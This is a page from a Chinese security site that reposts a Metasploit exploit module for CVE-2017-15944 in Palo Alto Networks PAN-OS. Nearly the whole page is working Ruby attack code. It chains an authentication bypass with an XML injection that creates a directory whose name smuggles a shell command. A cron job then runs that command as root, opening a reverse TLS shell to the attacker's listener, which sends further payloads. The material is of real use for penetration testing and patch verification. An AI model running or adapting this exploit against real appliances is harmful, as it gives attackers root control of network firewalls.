首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Palo Alto Networks readSessionVarsFromFile() Session Corruption
来源:metasploit.com 作者:hdm 发布时间:2018-05-08  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Palo Alto Networks readSessionVarsFromFile() Session Corruption',
      'Description'    => %q{
        This module exploits a chain of vulnerabilities in Palo Alto Networks products running
        PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
        an authentication bypass flaw to to exploit an XML injection issue, which is then
        abused to create an arbitrary directory, and finally gains root code execution by
        exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
        to stage arbitrary payloads on the target appliance. The cron job used for the final
        payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
      },
      'Author'         => [
        'Philip Pettersson <philip.pettersson[at]gmail com>', # Vulnerability discovery
        'hdm'                                                 # Metasploit module
      ],
      'References'     => [
        ['CVE', '2017-15944'],
        ['URL', 'http://seclists.org/fulldisclosure/2017/Dec/38'],
        ['BID', '102079'],
      ],
      'DisclosureDate' => 'Dec 11 2017',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        => {'BadChars' => '', 'Space' => 8000, 'DisableNops' => true},
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'WfsDelay' => 2}
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
        OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
      ])
  end

  def exploit

    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

    # Start a listener
    start_listener(true)

    # Figure out the port we picked
    cbport = self.service.getsockname[2]

    # Set the base directory and the staging payload directory path name
    base_directory   = "/opt/pancfg/mgmt/logdb/traffic/1/"
    command_payload  = "* -print -exec bash -c openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}#{cbhost}:#{cbport}|bash ; "
    target_directory = base_directory + command_payload

    if target_directory.length > 255
      print_error("The selected payload or options resulted in an encoded command that is too long (255+ bytes)")
      return
    end

    dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10))
    dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10))
    user_id   = rand(2000).to_s

    print_status("Creating our corrupted session ID...")

    # Obtain a session cookie linked to a corrupted session file. A raw request
    # is needed to prevent encoding of the parameters injected into the session
    res = send_request_raw(
      'method' => 'GET',
      'uri'    => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";"
    )
    unless res && res.body.to_s.index('@start@Success@end@')
      print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}")
      return
    end

    cookies = res.get_cookies
    unless cookies =~ /PHPSESSID=([a-fA-F0-9]+)/
      print_error("Unexpected cookie response when creating the corrupted session cookie: #{res.code} #{res.message} #{cookies}")
      return
    end

    create_directory_tid  = 1 + rand(1000)
    create_directory_json = JSON.dump({
      "action" => "PanDirect",
      "method" => "execute",
      "data"   => [
        Rex::Text.md5(create_directory_tid.to_s),
        "Administrator.get",
        {
          "changeMyPassword" => true,
          "template"         => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
          "id"               => "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../..#{target_directory}'/>\x00"
        }
      ],
      "type"   => "rpc",
      "tid"    => create_directory_tid
    })

    print_status("Calling Administrator.get to create directory under #{base_directory}...")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => '/php/utils/router.php/Administrator.get',
      'cookie' => cookies,
      'ctype'  => "application/json",
      'data'   => create_directory_json
    )
    unless res && res.body.to_s.index('Async request enqueued')
      print_error("Unexpected response when calling Administrator.get method: #{res.code} #{res.message}")
      return
    end

    register_dirs_for_cleanup(base_directory)

    print_status("Waiting up to 20 minutes for the cronjob to fire and execute...")
    expiry = Time.at(Time.now.to_i + (60*20)).to_i
    last_notice = 0
    while expiry > Time.now.to_i && ! session_created?
      if last_notice + 30 < Time.now.to_i
        print_status("Waiting for a session, #{expiry - Time.now.to_i} seconds left...")
        last_notice = Time.now.to_i
      end
      sleep(1)
    end

    unless session_created?
      print_error("No connection received from the target, giving up.")
    end

  end

  def stage_real_payload(cli)
    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
    cli.put(payload.encoded + "\n")
  end

  def start_listener(ssl = false)
    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    self.service = Rex::Socket::TcpServer.create(
      'LocalPort' => datastore['CBPORT'],
      'SSL'       => true,
      'SSLCert'   => datastore['SSLCert'],
      'Comm'      => comm,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self,
        })

    self.service.on_client_connect_proc = Proc.new { |client|
      stage_real_payload(client)
    }

    # Start the listening service
    self.service.start
  end

  def cleanup
    super
    if self.service
      print_status("Shutting down payload stager listener...")
      begin
        self.service.deref if self.service.kind_of?(Rex::Service)
        if self.service.kind_of?(Rex::Socket)
          self.service.close
          self.service.stop
        end
        self.service = nil
      rescue ::SocketError
      end
    end
  end

  # Accessor for our TCP payload stager
  attr_accessor :service

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·PlaySMS import.php Code Execut
·FTPShell Client 6.7 - Buffer O
·PlaySMS sendfromfile.php Code
·WordPress Plugin User Role Edi
·HWiNFO 5.82-3410 - Denial of S
·DeviceLock Plug and Play Audit
·Windows WMI - Recieve Notifica
·Windows - Local Privilege Esca
·Linux Kernel < 4.17-rc1 - 'AF_
·TBK DVR4104 / DVR4216 - Creden
·GPON Routers - Authentication
·Adobe Reader PDF - Client Side
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved